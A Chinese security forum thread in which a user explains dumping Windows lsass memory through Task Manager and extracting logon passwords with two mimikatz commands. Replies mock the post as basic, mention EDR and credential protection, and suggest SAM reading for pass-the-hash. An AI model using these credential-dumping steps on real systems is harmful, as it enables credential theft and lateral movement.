登录 注册
导航
T00ls » 八卦水区(Discussion )

dumphash

pr0sm 2022-03-04 17:03 382 8
pr0smUID:14826潜水会员楼主五年陈老会员勋章
积分:109TCV:3TuBi:251坛龄:5年零5天
#1

使用task manager dumphash操作（非原創）

dump下來的文件位置如下，我們可以將此文件傳輸到我們的攻擊機

使用mimikatz將其解密

sekurlsa::minidump C:\lsass.DMP
sekurlsa::logonpasswords
PYkillerUID:14239注册会员活跃会员勋章五年陈老会员勋章
积分:276TCV:2TuBi:495坛龄:5年222天活跃1级
2022-03-04
#2
不是原创你发原创区？而且你这样直接读lsass内存，在高版本有las和凭据保护，也读不了。碰edr直接死
pr0smUID:14826潜水会员楼主五年陈老会员勋章
积分:109TCV:3TuBi:251坛龄:5年零5天
2022-03-04
#3
回复 2# PYkiller
pr0smUID:14826潜水会员楼主五年陈老会员勋章
积分:109TCV:3TuBi:251坛龄:5年零5天
2022-03-04
#4
不是原创你发原创区？而且你这样直接读lsass内存，在高版本有las和凭据保护，也读不了。碰edr直接死 ...
PYkiller 发表于 2022-3-4 17:29回到原帖

師傅教訓的是，我以後注意，抱歉，第一條回復手抖了，，，這個是我在2019測試的。。。2022版本沒測試
匿名
匿名
2022-03-04
#5
这个也太水了吧...prodump，sqldumper这些都能dump lsass.exe的缓存然后还原，你这个还要可视化界面操作才行
PYkillerUID:14239注册会员活跃会员勋章五年陈老会员勋章
积分:276TCV:2TuBi:495坛龄:5年222天活跃1级
2022-03-04
#6
回复 4# pr0sm



    高版本你可以试试读sam文件，用来走hash传递攻击，也没必要抓明文
dm-xyUID:12203潜水会员活跃会员勋章五年陈老会员勋章
积分:327TCV:1TuBi:99坛龄:8年204天
2022-03-05
#7
进来之前 我以为是啥呢
进来之后 这这这 ...
无尘UID:11614潜水会员五年陈老会员勋章
积分:152TCV:0TuBi:222坛龄:9年零61天
2022-03-05
#8
win下抓密码基操，对系统版本有要求，不是都可以抓到的
Acat123UID:10990僵尸会员
积分:245TCV:0TuBi:128坛龄:9年341天活跃1级
2022-03-07
#9
你是没啥东西发的了吗？这种等级的文章就别发出来丢人了，都是玩烂的东西
pr0sm 潜水会员楼主
五年陈老会员勋章
18主题 83帖子 251TuBi
TA的主页 私信TA 返回版块 社区首页

本版最新

T00.ls | GMT+8, 2026-11-13 11:34

Powered by T00ls.com